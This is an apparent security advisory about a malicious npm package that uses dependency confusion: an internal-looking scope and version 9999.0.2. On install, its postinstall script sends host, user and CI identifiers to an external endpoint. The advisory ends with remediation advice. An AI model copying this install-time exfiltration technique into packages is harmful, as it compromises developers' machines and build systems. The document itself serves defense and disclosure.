--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ce8dffb72c9f767cbd071bf482fce9acb1ff2283a4800b7862739348b7a89e24) Package @luminarycloudinternal/lcvis-st@9999.0.2 is published to the public npm registry under an internal-looking scope with an artificially high version number designed to outrank any legitimate internal release, so misconfigured installers resolve this public copy. On install, the postinstall.js script collects host and user identifiers (os.hostname(), os.userInfo().username, OS type/release/platform/arch), npm package name/version and user-agent, and CI/GitHub identifiers (CI, GITHUB_ACTIONS, GITHUB_REPOSITORY, RUNNER_NAME, GITHUB_SHA, GITHUB_REF, GITHUB_WORKFLOW), then sends them as query parameters via HTTPS GET to a hardcoded third-party endpoint at poc-luminary-npm-1782987043.testingboxes.com (postinstall.js line 34). The package self-labels as a Bugcrowd bounty canary, but the behavior — dependency-confusion scope/version combined with install-time transmission of installer identifiers to a hardcoded third-party host — is exfiltration for any installer other than the intended bounty target. ## Source: ghsa-malware (3c54509ad86f99f5d01258e1d660deca5eb908d09b71ea17446402ece2584746) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.